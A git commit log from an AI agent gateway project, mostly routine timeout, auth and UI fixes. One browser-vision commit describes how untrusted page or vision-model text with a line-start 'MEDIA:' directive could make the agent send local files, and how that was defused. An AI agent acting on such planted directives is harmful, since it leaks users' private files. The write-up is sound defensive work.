f71df664c9 fix(synology-chat): bound rate limit windows 2026-05-31 01:37:45 -04:00
Peter Steinberger
4ca218246e fix(diffs): cap artifact ttl normalization 2026-05-31 01:37:45 -04:00
Peter Steinberger
11b5968534 fix(channels): bound thread binding lifecycle durations 2026-05-31 01:37:45 -04:00
Peter Steinberger
5e139e32dc fix(agents): centralize subagent timeout math 2026-05-31 01:37:45 -04:00
Peter Steinberger
620acafb15 fix(browser): bound tab cleanup timer config 2026-05-31 01:37:45 -04:00
Peter Steinberger
8247f824b9 fix(google-meet): bound timer config values 2026-05-31 01:37:45 -04:00
Peter Steinberger
c767b37e3b fix(discord): bound identify limiter clock skew 2026-05-31 01:37:45 -04:00
Peter Steinberger
21478cab93 fix(agents): clamp abortable sleep helper 2026-05-31 01:37:45 -04:00
Peter Steinberger
dbddf4093f fix(utils): clamp shared sleep timers 2026-05-31 01:37:45 -04:00
Peter Steinberger
1cf264c468 fix(infra): clamp abortable sleep timers 2026-05-31 01:37:45 -04:00
Peter Steinberger
9d866d8b2a fix(cli): clamp port wait timers 2026-05-31 01:37:45 -04:00
Peter Steinberger
0e3cc2e5ad fix(cli): clamp cron wait poll timers 2026-05-31 01:37:45 -04:00
Peter Steinberger
1670b970ee fix(gateway): clamp lock poll timers 2026-05-31 01:37:45 -04:00
Peter Steinberger
37fbc8cd8f fix(memory): clamp remote batch timers 2026-05-31 01:37:45 -04:00
Peter Steinberger
7eeea30d8c fix(minimax): clamp oauth poll interval 2026-05-31 01:37:45 -04:00
Peter Steinberger
cdab5fc16a fix(infra): clamp provider usage timeout 2026-05-31 01:37:45 -04:00
Peter Steinberger
aa42905354 fix(agents): clamp idle flush timeout 2026-05-31 01:37:45 -04:00
Peter Steinberger
fbee4d56c4 fix(web): clamp shared tool timeout 2026-05-31 01:37:45 -04:00
Peter Steinberger
ed59533574 fix(feishu): clamp abortable delay timers 2026-05-31 01:37:45 -04:00
Peter Steinberger
1f92a3e351 fix(mattermost): clamp probe timeout 2026-05-31 01:37:45 -04:00
Peter Steinberger
ac4ebc053a fix(cli): clamp progress delay timers 2026-05-31 01:37:45 -04:00
Peter Steinberger
9b2146775f fix(browser): clamp client action timeouts 2026-05-31 01:37:45 -04:00
Peter Steinberger
bc38a929aa fix(plugins): clamp hook timeouts 2026-05-31 01:37:44 -04:00
Peter Steinberger
8e12c6ea1f fix(plugin-sdk): clamp oauth callback timeout 2026-05-31 01:37:44 -04:00
Peter Steinberger
65167c9637 fix(tlon): clamp sse reconnect delays 2026-05-31 01:37:44 -04:00
Peter Steinberger
87eae7f811 fix(memory): clamp lancedb recall timeout 2026-05-31 01:37:44 -04:00
Peter Steinberger
b4e331fe81 fix(health): clamp probe timeout 2026-05-31 01:37:44 -04:00
Peter Steinberger
c8d458d13d fix(outbound): clamp message gateway timeouts 2026-05-31 01:37:44 -04:00
Peter Steinberger
2cbfb910f2 fix(commands): clamp gateway agent timeout 2026-05-31 01:37:44 -04:00
Peter Steinberger
1c1f42a74a fix(secrets): clamp provider timeouts 2026-05-31 01:37:44 -04:00
Peter Steinberger
3734ed6402 fix(agents): clamp compaction worker timeout 2026-05-31 01:37:44 -04:00
Peter Steinberger
5e11c85c0a fix(codex): clamp app-server timer config 2026-05-31 01:37:44 -04:00
Peter Steinberger
4135771adf fix(codex): clamp app-server watch timers 2026-05-31 01:37:44 -04:00
Peter Steinberger
58db38e088 fix(voice-call): clamp telephony tts timeout 2026-05-31 01:37:44 -04:00
Peter Steinberger
e500f401ea fix(voice-call): clamp pre-start stream timeout 2026-05-31 01:37:44 -04:00
Peter Steinberger
1ff52b2786 fix(voice-call): clamp continue poll timeout 2026-05-31 01:37:44 -04:00
Peter Steinberger
2b3f09659c fix(qa): clamp cli child timeout 2026-05-31 01:37:44 -04:00
Peter Steinberger
0d391bacf7 fix(qa): clamp bus wait timers 2026-05-31 01:37:44 -04:00
Peter Steinberger
85c8e7f89f fix(qa): clamp browser runtime timeouts 2026-05-31 01:37:44 -04:00
Peter Steinberger
1987d364b5 fix(qa): clamp web runtime timeouts 2026-05-31 01:37:44 -04:00
Peter Steinberger
971cb2d4bd fix(discord): clamp rest scheduler delay 2026-05-31 01:37:44 -04:00
Peter Steinberger
c66b21662d fix(discord): clamp rest request timeout 2026-05-31 01:37:44 -04:00
Peter Steinberger
6e318684c1 fix(discord): clamp component wait timeout 2026-05-31 01:37:44 -04:00
Peter Steinberger
89022023a3 fix(talk): clamp forced consult delay 2026-05-31 01:37:44 -04:00
Peter Steinberger
10e8426aa5 fix(hooks): clamp fire-and-forget timeout 2026-05-31 01:37:44 -04:00
Peter Steinberger
79d3083eb6 fix(agents): clamp catalog browse timeout 2026-05-31 01:37:44 -04:00
Peter Steinberger
95e2427189 fix(provider): clamp poll wait timers 2026-05-31 01:37:44 -04:00
Peter Steinberger
29a67f4d11 fix(media): clamp saved response idle timeout 2026-05-31 01:37:44 -04:00
Peter Steinberger
2d2ab6d480 fix(media): clamp response idle timeout 2026-05-31 01:37:44 -04:00
Peter Steinberger
cb79864cb9 fix(tts): clamp summarization timeout 2026-05-31 01:37:44 -04:00
Peter Steinberger
0530596eef fix(codex): clamp turn collector timeout 2026-05-31 01:37:44 -04:00
Peter Steinberger
417022864b fix(codex): clamp media turn timeout 2026-05-31 01:37:43 -04:00
Peter Steinberger
2833d4b347 fix(agents): clamp embedded run wait timers 2026-05-31 01:37:43 -04:00
Peter Steinberger
490a155f15 fix(auto-reply): clamp reply idle wait timers 2026-05-31 01:37:43 -04:00
Peter Steinberger
5f7217db2c fix(gateway): bound exec approval timers 2026-05-31 01:37:43 -04:00
Peter Steinberger
de1c4f8aec fix(infra): clamp restart deferral poll 2026-05-31 01:37:43 -04:00
Peter Steinberger
3a31b34151 fix(infra): clamp heartbeat wake delay 2026-05-31 01:37:43 -04:00
Peter Steinberger
8ef5b5ddba fix(auto-reply): bound session lifecycle expiries 2026-05-31 01:37:43 -04:00
Peter Steinberger
0adf3220b8 fix(auto-reply): bound auth label expiries 2026-05-31 01:37:43 -04:00
Peter Steinberger
edb2c498d5 fix(auth): bound profile unusable windows 2026-05-31 01:37:43 -04:00
Peter Steinberger
00831cf8ff fix(gateway): bound model auth expiry rollups 2026-05-31 01:37:43 -04:00
Peter Steinberger
b0ca5d7407 fix(auth): adopt main oauth over invalid local expiry 2026-05-31 01:37:43 -04:00
Peter Steinberger
c9311ef0a9 fix(auth): bound stored oauth replacement expiry 2026-05-31 01:37:43 -04:00
Peter Steinberger
1a4d2f7cca fix(auth): bound inherited oauth expiry 2026-05-31 01:37:43 -04:00
Peter Steinberger
9d31cbbd6a refactor(cron): split service timer helpers
Split cron timer helper concerns into focused service modules for agent watchdog cleanup, execution error text, failure alerts, task-run ledger handling, and wake dispatch.

Verification: focused cron Vitest, oxfmt check, git diff check, autoreview clean, and GitHub PR checks green.
2026-05-31 06:31:27 +01:00
Peter Steinberger
bbc4bee7a2 fix(heartbeat): advance stale scheduler deferrals
Fix stale heartbeat scheduler deferrals so disabled/non-retry skips and flood deferrals advance the due slot instead of rearming a 0 ms timer loop.

Fixes #79380.
Supersedes #79418.

Proof:
- pnpm test src/infra/heartbeat-runner.scheduler.test.ts -- --reporter=verbose
- pnpm check:changed via Testbox tbx_01ksxfavykc7qyve4ysnxg3smh
- autoreview clean
- GitHub CI green for 213003a854, including Real behavior proof
2026-05-31 06:26:44 +01:00
Vincent Koc
ef9e9bf6b9 fix(build): preserve fresh startup metadata across rebuilds 2026-05-31 07:16:13 +02:00
Peter Steinberger
51dee73a5d perf: cache log timestamp formatters 2026-05-31 06:09:22 +01:00
Peter Steinberger
b858d418aa fix(ui): localize tool error card label 2026-05-31 06:04:55 +01:00
Vincent Koc
e1a9817141 fix(e2e): preflight openai chat tools auth 2026-05-31 05:20:33 +02:00
Peter Steinberger
4dad7bd93b fix(release): tolerate npm README metadata lag 2026-05-31 02:49:06 +01:00
Vincent Koc
26913e60a4 fix(codex): preserve public OpenAI app-server provider 2026-05-31 03:39:03 +02:00
Shakker
5c5711f061 fix: keep tool card actions inline 2026-05-31 02:11:53 +01:00
Shakker
1e3542bbe7 fix: label collapsed tool cards by tool 2026-05-31 02:07:52 +01:00
Shakker
9a00d74044 fix: share skill workshop prompt with codex 2026-05-31 01:53:01 +01:00
Shakker
e9d01320d7 fix: isolate dev source plugin aliases 2026-05-31 01:47:11 +01:00
Shakker
ae800e160d fix: prefer source plugins in dev runs 2026-05-31 01:47:11 +01:00
Peter Steinberger
e086bfeb91 chore(release): refresh plugin sdk api baseline 2026-05-31 01:45:54 +01:00
Peter Steinberger
dd72b104ac fix(qa): use auth credential type for OpenAI live model selection 2026-05-31 01:39:36 +01:00
NianJiu
199a1b9014 fix(webchat): fetch full sidebar content for truncated history
Add a bounded `chat.message.get` gateway method so Control UI can fetch one display-normalized transcript message by id when an assistant history preview was truncated. Keep `chat.history` lightweight, reject oversized/hidden/missing rows with explicit unavailable reasons, and wire the WebChat side reader to request full content only for visible truncated assistant messages.

Also refresh the generated Swift gateway protocol models and document the new assistant-message side-reader behavior.

Closes #84651.
Related #53242.

Co-authored-by: NianJiuZst <3235467914@qq.com>
2026-05-31 01:33:52 +01:00
Peter Steinberger
00d8d7ead0 refactor: extract normalization core package
Extract shared normalization/coercion helpers into private @openclaw/normalization-core workspace package while preserving existing plugin SDK helper subpaths.\n\nAlso keeps direct normalization-core imports internal, wires UI/build/loader resolution, and replaces the slow PR network CodeQL lane with a fast added-line boundary scan while retaining full CodeQL for scheduled/manual runs.\n\nVerification: local moved tests, plugin SDK boundary tests, extension loader tests, agents-support shard, UI build/test, build artifacts, lint, workflow guards, autoreview, and GitHub CI passed on PR head 963d893715.
2026-05-31 01:33:00 +01:00
Peter Steinberger
94814f3516 fix(qa): restore OpenAI OAuth release contracts 2026-05-31 01:25:48 +01:00
Peter Steinberger
9caefeaf08 fix(ui): satisfy vite alias lint guard 2026-05-31 01:08:42 +01:00
Peter Steinberger
16bae70af4 fix(release): align prerelease contracts after provider rename 2026-05-31 00:52:22 +01:00
Vincent Koc
6270d5326f fix(e2e): prove gateway health after websocket connect 2026-05-31 01:39:28 +02:00
Shakker
6561bdc41d fix: resolve root aliases in ui dev 2026-05-31 00:36:02 +01:00
Shakker
54d42c7c9a fix: vertically center tool summary labels 2026-05-31 00:36:01 +01:00
Peter Steinberger
ab35dcd333 fix(release): repair 2026.5.30 beta prerelease gates 2026-05-31 00:32:02 +01:00
Peter Steinberger
4c33aaa86c refactor: unify OpenAI provider identity (#88451)
* refactor: unify OpenAI provider identity

* refactor: move legacy oauth sidecar doctor helpers

* test: align OpenAI fixtures after rebase

* test: clean OpenAI provider unification

* fix: finish OpenAI provider cleanup

* fix: finish OpenAI cleanup follow-through

* fix: finish OpenAI CI cleanup
2026-05-31 00:29:44 +01:00
Peter Steinberger
8d6a6e9d03 feat: move workboard to relational sqlite
Move Workboard durable data into a relational SQLite database and add extension doctor migration for .28 plugin-state rows. Preserve attachment lifecycle behavior, SQLite permissions/WAL settings, and scoped plugin migration access.
2026-05-31 00:02:23 +01:00
Vincent Koc
7fc02d36b3 fix(scripts): assert lifecycle inspect output 2026-05-31 01:00:58 +02:00
scotthuang
7920af0c9e refactor: route browser screenshot vision through shared media understanding
* feat(browser): add optional vision understanding to screenshot tool

* fix(browser): wrap vision output as external content, enforce maxBytes, forward auth profiles

* fix(browser): remove no-op scope/attachments config, drop profile pass-through lacking runtime support

* feat(media-understanding): add profile/preferredProfile to DescribeImageFileWithModelParams and forward to describeImage

* style(browser): add curly braces to satisfy eslint curly rule

* fix(browser): correct tools.browser.enabled help text to match actual behavior

* fix(browser): thread agentDir/workspaceDir from plugin tool context into browser vision

* refactor(browser): move vision config from tools.browser to browser.models

The browser plugin's vision configuration now lives on the top-level
`browser` config namespace (browser.models, browser.visionEnabled,
browser.visionPrompt, etc.) instead of `tools.browser`. This aligns
with the plugin's existing config location and avoids confusion between
tool-level and plugin-level settings.

- Remove tools.browser from ToolsSchema and ToolsConfig
- Add models/vision* fields to BrowserConfig and its zod schema
- Update getBrowserVisionConfig to read from cfg.browser
- Update schema help, labels, and quality test
- Update vision.test.ts to use new config shape

* docs(browser): add screenshot vision configuration section

Document the new browser.models config for automatic screenshot
description via vision models, enabling text-only main models to
reason about web page content.

* fix(browser): remove deliverable media markers from vision result, drop unused import

P1: Vision-success path no longer exposes the raw screenshot as
deliverable media (removes MEDIA: line and details.media.mediaUrl).
This prevents channel delivery from auto-sending sensitive page content
when the intended output is a text description.

P2: Remove unused ToolsMediaUnderstandingSchema import that would fail
noUnusedLocals typecheck.

* fix(browser): add command/args fields to browser models schema

The browser vision model schema uses .strict(), so CLI-type entries
with command/args were rejected by TypeScript. Add these fields to
align with MediaUnderstandingModelSchema.

* chore(browser): remove debug console.log statements

* fix(browser): harden screenshot vision result against MEDIA: directive injection and restore image sanitization on failure fallback

ClawSweeper #84247 review round 2:

P1 (security, high): neutralize line-start MEDIA: directives in vision descriptions
before wrapping with wrapExternalContent. The agent media extractor scans every
browser tool-result text block via splitMediaFromOutput which treats line-start
MEDIA: as a trusted local-media delivery directive, and browser is on the
trusted-media allowlist. Without neutralization, page or vision-provider output
containing 'MEDIA:/tmp/secret.png' could synthesize a channel-deliverable media
artifact from untrusted content. wrapExternalContent itself does not strip
line-start directives. Introduce neutralizeMediaDirectives in vision.ts that
prepends '[neutralized] ' to any line whose trimStart() begins with MEDIA:
(case-insensitive), defanging the parser anchor while keeping the original
text human-readable.

P2 (compatibility): pass resolveRuntimeImageSanitization() to imageResultFromFile
in the vision-failure catch fallback. The non-vision screenshot path already
forwards this option (d5cc0d53b7) so configured agents.defaults.imageMaxDimensionPx
takes effect. Without this fix, any provider timeout/error silently bypasses the
sanitization guard and returns a raw full-resolution screenshot.

Regression coverage:
- vision.test.ts: 6 unit cases for neutralizeMediaDirectives (no-op fast path,
  mid-line MEDIA: untouched, line-start defanged, leading-whitespace defanged,
  case-insensitive, multiple directives per blob).
- browser-tool.test.ts: 2 integration cases that drive the full screenshot
  tool execute path:
    - 'neutralizes MEDIA: directives in vision text and does not attach media'
      asserts no line matches /^\s*MEDIA:/i in returned text, secret path text
      is preserved verbatim, details.media is absent, and imageResultFromFile
      is not called on the success path.
    - 'preserves screenshot image sanitization on vision failure fallback'
      mocks describeImageFileWithModel to reject and asserts the fallback
      imageResultFromFile call receives imageSanitization: {maxDimensionPx:1600}
      plus the 'browser screenshot vision failed' extraText.

* fix(browser): apply clawsweeper fallback media fix from PR #84247

* refactor: reuse media image understanding for browser screenshots

* refactor: use structured media delivery

* test: update music completion media instruction expectation

* fix: trim buffered reply directive padding

* test: refresh codex prompt snapshots for message media aliases

---------

Co-authored-by: scotthuang <scotthuang@tencent.com>
Co-authored-by: Peter Steinberger <steipete@gmail.com>
2026-05-31 00:00:19 +01:00
Peter Steinberger
3e7f74505c fix(release): harden beta doctor and RTT credential deadlines 2026-05-30 23:54:06 +01:00
Peter Steinberger
38d3d11cbc feat: improve MCP operator workflows
Add MCP server add/configure/login/reload flows plus config/runtime support for enablement, filters, timeouts, OAuth, TLS, and parallel execution hints. Update docs and tests for the expanded MCP operator surface.
2026-05-30 23:51:40 +01:00
Zee Zheng
8be581cbf8 fix(browser): allow inbound media uploads
Allow the browser upload tool to resolve OpenClaw-managed inbound media refs such as `media://inbound/<id>` and sandbox-relative `media/inbound/<id>` while preserving the existing upload-root path contract.

Keep upload-root files ahead of sandbox-relative inbound fallback, reject nested absolute inbound media files, and validate raw `media://` paths before URL normalization so traversal-shaped refs cannot resolve to direct media ids.

Verification:
- `OPENCLAW_VITEST_MAX_WORKERS=1 node scripts/run-vitest.mjs extensions/browser/src/browser/paths.test.ts --reporter=verbose`
- `OPENCLAW_VITEST_MAX_WORKERS=1 node scripts/run-vitest.mjs extensions/browser/src/browser/paths.test.ts --reporter=dot`
- `OPENCLAW_HEAVY_CHECK_LOCK_SCOPE=worktree node scripts/run-tsgo.mjs -p test/tsconfig/tsconfig.extensions.test.json --incremental --tsBuildInfoFile .artifacts/tsgo-cache/extensions-test.tsbuildinfo`
- `pnpm lint --threads=8`
- `.agents/skills/autoreview/scripts/autoreview --mode branch --base origin/main`
- `git diff --check`
- GitHub PR checks on be08e6c8a8: dependency-guard, check-lint, check-test-types, check-additional-extension-bundled, checks-fast-contracts-plugins-a, checks-fast-contracts-plugins-b all passed.

Fixes #83544.

Co-authored-by: Zee Zheng <zheng.zuo0@gmail.com>
Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
2026-05-30 23:49:07 +01:00
Peter Steinberger
d05e4a4bc6 fix(feishu): use full gateway channel runtime 2026-05-30 23:46:04 +01:00
Vincent Koc
0b0edcdf1c fix(scripts): fail gauntlet on missing qa summaries 2026-05-31 00:37:48 +02:00
Peter Steinberger
57c88dd46e chore: remove more unused internal helpers 2026-05-30 23:26:29 +01:00
Peter Steinberger
654de643e4 perf: skip idle channel shutdown enumeration 2026-05-30 23:21:54 +01:00
Vincent Koc
ee2b90b4e2 perf(scripts): prebuild qa runtime assets 2026-05-31 00:17:39 +02:00
Jerry-Xin
f59fc0d477 fix(gateway): strip spurious tool calls on non-tool stops
Treat OpenAI-compatible streaming tool deltas as executable only when the final finish reason is `tool_calls`. This prevents malformed provider streams from triggering spurious tool execution while preserving normal tool-call responses.

Fixes #85161.

Verification:
- Local OpenAI-compatible SSE replay: spurious stop stream `finalToolCalls: 0`; valid tool-call stream `finalToolCalls: 1`.
- `pnpm test src/agents/openai-transport-stream.test.ts src/llm/providers/openai-completions.test.ts -- --reporter=verbose`
- PR CI green on `cdc2fc34753492c862cae99b37f8cf3761d9bbed`.

Co-authored-by: 忻役 <xinyi@mininglamp.com>
Co-authored-by: Jerry-Xin <jerryxin0@gmail.com>
2026-05-30 23:14:16 +01:00
Ted Li
1cab722fe0 fix(ci): ignore fenced headings in proof parser (#87390)
Harden real behavior proof parsing for fenced transcript Markdown. Ref #87341. Thanks @MonkeyLeeT.
2026-05-30 23:14:06 +01:00
Peter Steinberger
4739f0cfe2 chore: remove old unused helpers 2026-05-30 23:13:43 +01:00
Andy Ye
2442e9c178 fix(cron): preserve plugin delivery targets
Preserve plugin-resolved cron delivery targets after target resolution so provider-looking canonical target prefixes are not stripped before outbound delivery.

Adds regression coverage for plugin canonical targets returned directly and via aliases, plus a guard that generic normalized fallback targets still strip the selected prefix.

Fixes #87905

Co-authored-by: Andy Ye <35905412+TurboTheTurtle@users.noreply.github.com>
2026-05-30 23:12:45 +01:00
Peter Steinberger
0ac61072b8 Refactor cron migrations under doctor (#88455)
* refactor: move cron migrations under doctor

* fix: break cron run log parser type cycle
2026-05-30 23:09:09 +01:00
Peter Steinberger
31099ccb1f docs(changelog): refresh 2026.5.30 notes 2026-05-30 23:04:23 +01:00
Peter Steinberger
2d23519c77 fix(agents): preserve generated media fallback routing 2026-05-30 23:03:32 +01:00
Peter Steinberger
bbd2854c45 fix: show chat errors as visible messages
Surface gateway chat failures as visible assistant messages in the Control UI, with regression coverage and Crabbox/WebVNC proof.

(cherry picked from commit 31a46638ad)
2026-05-30 23:03:32 +01:00
Josh Avant
5d3a6909fb fix subagent dm completion delivery (#88182)
(cherry picked from commit 00d87c7b5d)
2026-05-30 23:03:32 +01:00
Peter Steinberger
1e0c9d8174 test(wizard): include tokenjuice optional plugin
(cherry picked from commit dd658474a5)
2026-05-30 23:03:32 +01:00
Peter Steinberger
4c16bd2453 fix(codex-supervisor): satisfy release lint
(cherry picked from commit bac13419a6)
2026-05-30 23:03:32 +01:00
Steven
cd3d960ec5 fix(ui): add agent selector to dreaming tab (#78748)
Fixes #63558.

Adds a Dreaming-tab agent selector and propagates the selected agent through Dreaming status, diary, and diary actions while preserving default-agent fallback when agentId is omitted. Also keeps report Memory Palace cards in the Control UI wiki-preview flow and documents the optional Dreaming agentId gateway parameters.

Verification:
- GitHub CI run 26693682975 passed on 43a2b17243.
- CodeQL Critical Quality run 26693682971 passed.
- CodeQL / Security High run 26693682957 passed.
- Workflow Sanity run 26693682949 passed.
- OpenGrep PR Diff run 26693682947 passed.
- Dependency Guard run 26693682003 passed.
- Real behavior proof run 26693860539 passed.
- git diff --check origin/main...refs/remotes/origin/pr/78748 passed.
- git merge-tree --write-tree origin/main refs/remotes/origin/pr/78748 passed.

Thanks @stevenepalmer.

Co-authored-by: Steven Palmer <6134396+stevenepalmer@users.noreply.github.com>
2026-05-30 22:58:00 +01:00
Peter Steinberger
d93394e29b perf: cache validated session prompt blobs 2026-05-30 22:57:30 +01:00
Peter Steinberger
83dff5855e docs: trim release performance report tail 2026-05-30 22:54:35 +01:00
Peter Steinberger
3402477314 chore: remove unused infra helpers 2026-05-30 22:45:22 +01:00
Peter Steinberger
71b3bc87ca perf: cache serialized session prompt refs 2026-05-30 22:44:11 +01:00
Peter Steinberger
0be3ef5a38 chore: remove unused agent helpers 2026-05-30 22:43:09 +01:00
Peter Steinberger
287687da20 feat: add internal code mode namespaces (#88043)
* feat: add internal code mode namespaces

* test: add code mode namespace live proof

* test: add live code mode Docker repro

* chore: keep code mode docker repro out of package scripts

* fix: break code mode namespace type cycle

* fix: clean code mode namespace ci drift

* fix: route code mode namespaces through tools

* fix: preserve explicit agent global sessions

* docs: explain code mode namespace registry

* test: cap realtime websocket payload

* fix: normalize code mode timeout results

* fix: satisfy code mode timeout lint

* chore: rerun code mode CI

* ci: extend node shard silence watchdog

* test: avoid child process mock deadlocks

* test: fix code mode repro shebang

* fix: scope explicit agent sentinel sessions

* test: preserve child process mock actual loader

* fix: dispatch namespace tools by exact id

* test: satisfy restart execFile mock type
2026-05-30 22:42:57 +01:00
Peter Steinberger
22e4289d3f chore(release): update appcast for 2026.5.28
Promote the Sparkle appcast generated by macOS publish for v2026.5.28.
2026-05-30 22:39:55 +01:00
Vincent Koc
5367ef7bd3 fix(scripts): accept forwarded otel smoke args 2026-05-30 23:37:27 +02:00
Peter Steinberger
598e177e12 chore: remove unused changelog helper 2026-05-30 22:36:09 +01:00
Peter Steinberger
0ed9fb48c4 docs: refresh release performance sweep for 2026.5.28 2026-05-30 22:35:45 +01:00
Jason (Json)
3ea911558c fix: promote serialized tool calls via repair package
Extracts serialized plaintext tool-call parsing, scrubbing, stream normalization, and standalone promotion into the private internal @openclaw/tool-call-repair package.

Provider wrappers and the embedded runner now share one repair path for standalone serialized tool calls, including adjacent text-block splits, while preserving exact argument bytes when already valid. The public plugin SDK payload module remains as the compatibility facade.

Verification:
- pnpm test src/plugin-sdk/provider-stream-shared.test.ts src/plugin-sdk/tool-payload.test.ts src/agents/embedded-agent-runner/run/attempt.tool-call-normalization.test.ts -- --reporter=verbose
- env -u OPENCLAW_TESTBOX pnpm check:changed
- PR CI: all reported checks green/skipped/neutral on ff0b3c0a5c

Refs #86924

Co-authored-by: fuller-stack-dev <263060202+fuller-stack-dev@users.noreply.github.com>
2026-05-30 22:34:57 +01:00
Yossi Eliaz
443255461c fix(slack): preserve assistant DM root thread context (#63840)
Preserve Slack Agents & Assistants DM root thread context for tool and subagent replies even when Slack omits or misreports `channel_type`, while leaving non-DM self-thread roots top-level.

Fixes #63659.

Thanks @zozo123.
2026-05-30 22:28:49 +01:00
Vincent Koc
7dde396d4d fix(scripts): accept forwarded watch regression args 2026-05-30 23:20:16 +02:00
Jason (Json)
89975eea24 feat: pass structured provider error signals to hooks
Summary:
- Pass provider status/code/type descriptors through failover hook classification.
- Keep structured provider hook dispatch scoped, while preserving legacy broad message-hook fallback for unresolved custom provider ids.
- Isolate long commands/infra Vitest lanes in fork workers and update config expectations.

Verification:
- node scripts/run-vitest.mjs src/agents/embedded-agent-helpers/errors-provider-structured-signals.test.ts src/agents/failover-error.test.ts
- OPENCLAW_VITEST_MAX_WORKERS=1 node scripts/run-vitest.mjs src/plugins/provider-runtime.test.ts
- node scripts/run-vitest.mjs src/agents/embedded-agent-helpers/errors-provider-structured-signals.test.ts src/agents/embedded-agent-helpers/provider-error-patterns.test.ts src/agents/failover-error.test.ts src/plugins/provider-runtime.test.ts test/vitest-projects-config.test.ts test/vitest-scoped-config.test.ts src/infra/vitest-config.test.ts
- pnpm tsgo:prod
- autoreview --mode branch --base origin/main --no-web-search --thinking low
- GitHub required dependency-guard: pass
- GitHub Real behavior proof: pass
- GitHub broad CI/checks visible on PR: pass

Co-authored-by: Jason (Json) <fuller-stack-dev@users.noreply.github.com>
2026-05-30 22:14:46 +01:00
zhang-guiping
dbd3e10312 fix(ui): filter sidebar recent sessions by selected agent
Fixes #88214.

Control UI dashboard Recent sessions now follows the selected agent, preserves legacy main sessions under stale identity, keeps unknown sessions unscoped, and scopes agent/default session refreshes before the session-list limit. Completed run refreshes now use the run's original session/agent target, global New Chat creates under the selected agent, and the agent switcher preserves last known target sessions across scoped refreshes without resurrecting deleted or archived sessions while accepting newer out-of-scope live rows into the switch cache. Also fixes a current-main lint issue around trusted approval params.

Co-authored-by: 张贵萍0668001030 <zhang.guiping@xydigit.com>
2026-05-30 22:13:37 +01:00
Vincent Koc
8b50cdd151 ci: update remaining Testbox actions 2026-05-30 22:11:51 +01:00
Peter Steinberger
a825b5576b refactor: simplify sqlite cron persistence 2026-05-30 22:11:17 +01:00
summerview1997
76b300babc Fix /acp spawn cwd inheritance for target agent workspaces (#82415)
* Fix ACP spawn cwd inheritance

* Share ACP spawn cwd guard with command path

* Fix ACP spawn cwd typing and temp dir test

* test: stabilize crabbox wrapper provider fixtures

---------

Co-authored-by: Thomas Yao <thomas@local>
2026-05-30 22:11:06 +01:00
Vincent Koc
ada22739be perf(build): skip dts for runtime build profiles 2026-05-30 23:06:25 +02:00
Peter Steinberger
8fe50a2136 build: classify release dependency ownership
Classify release dependency ownership metadata so release evidence no longer reports current root dependencies as missing ownership metadata. Also recognizes command-explainer package-file lookups for tree-sitter-bash.

Verification: jq empty scripts/lib/dependency-ownership.json; node scripts/dependency-ownership-surface-report.mjs --check; node scripts/root-dependency-ownership-audit.mjs --check; targeted Vitest for root dependency ownership and ownership surface reports; git diff --check; autoreview clean; PR CI green including Real behavior proof.
2026-05-30 22:04:54 +01:00
Peter Steinberger
b374505e7a refactor: source model catalog types from core
Source model catalog SDK types from @openclaw/model-catalog-core while preserving released compat fields and sanitized routing normalization.
2026-05-30 22:00:51 +01:00
zhang-guiping
653292901a fix(tui): surface terminal lifecycle errors
Surface terminal TUI lifecycle errors after the chat stream ends, deduplicate delayed chat errors, and allow explicit runnable Vitest config targets to run through the target planner.

Fixes #85782.

Verification:
- pnpm exec oxfmt --check src/tui/tui-event-handlers.ts src/tui/tui-event-handlers.test.ts test/scripts/test-projects.test.ts scripts/test-projects.test-support.mjs src/agents/model-catalog-visibility.test.ts
- node scripts/run-vitest.mjs src/tui/tui-event-handlers.test.ts
- node scripts/run-vitest.mjs src/tui/tui-event-handlers.test.ts src/tui/tui-command-handlers.test.ts test/scripts/test-projects.test.ts src/agents/model-catalog-visibility.test.ts
- git diff --check
- autoreview --mode local: no accepted/actionable findings
- autoreview --mode branch --base origin/main: no accepted/actionable findings
- Required CI check dependency-guard passed

Co-authored-by: 张贵萍0668001030 <zhang.guiping@xydigit.com>
Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
2026-05-30 21:59:27 +01:00
Peter Steinberger
3f50485156 perf: cache manifest model suppression resolver 2026-05-30 21:56:38 +01:00
Vincent Koc
9c2744f1e1 test(scripts): require usable memory search in fd repro 2026-05-30 22:48:50 +02:00
brokemac79
3aa460409e fix: route denied exec approval followups to sessions
Routes denied async exec approval followups through the originating main session before using direct external fallback. Keeps strict inline-eval timeout denials fail-closed, while preserving suppression for subagent, cron, and no-session denial cases.

Refs #88167.

Verification:
- git diff --check origin/main...refs/remotes/pr/88417
- .agents/skills/autoreview/scripts/autoreview --mode branch --base origin/main
- gh pr checks 88417 --repo openclaw/openclaw --watch=false

Co-authored-by: brokemac79 <martin_cleary@yahoo.co.uk>
2026-05-30 21:45:16 +01:00
Thomas Krohnfuß
48980a0f41 fix(responses): drop orphaned assistant msg_* id when reasoning is dropped (#88019) (#88067)
* fix(responses): drop orphaned assistant msg_* id when reasoning is dropped (#88019)

When an Azure/OpenAI Responses session falls back to a non-Responses model
and later resumes a Responses model, sanitizeSessionHistory drops the
replayable reasoning (rs_*) item via downgradeOpenAIReasoningBlocks. The
paired assistant text block still carried its textSignature (the msg_* id),
so the transport replayed an assistant message item referencing msg_* with
no accompanying rs_* reasoning item. Azure Responses then rejected the next
turn with:

  400 Item 'msg_...' provided without its required 'reasoning' item: 'rs_...'

permanently poisoning the session.

Fix:
- downgradeOpenAIReasoningBlocks now strips the textSignature from a turn's
  text blocks whenever it drops a replayable reasoning item, so the msg_* id
  and its rs_* reasoning are removed together. The transport then falls back
  to a synthetic, unpaired id that Azure accepts.
- Because the synthetic fallback id is derived from the per-message msgIndex,
  multiple id-less text blocks in one assistant turn (e.g. commentary +
  final_answer) would collide on the same id. Make the fallback unique per
  text block in both Responses conversion sites
  (openai-transport-stream.ts and the shared llm provider
  openai-responses-shared.ts).

Tests:
- sanitize-session-history: model-switch path drops the paired msg_* id.
- embedded-agent-helpers: downgrade strips paired text signature(s).
- reasoning-replay: multiple id-less text blocks get distinct item ids.

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>

* fix(responses): preserve phase metadata and guard malformed blocks (#88019)

Address PR review feedback on the orphaned msg_* replay fix:

- Preserve Responses phase metadata: dropping the paired msg_* id when its
  rs_* reasoning is removed previously stripped the entire textSignature,
  which also discarded the phase (commentary/final_answer). Phased text now
  keeps a phase-only signature ({v:1,phase}) so commentary is not replayed
  as user-visible output. Both parseTextSignature copies (shared provider and
  embedded transport) now accept id-less phase-only signatures and fall back
  to a synthetic id while preserving the phase.
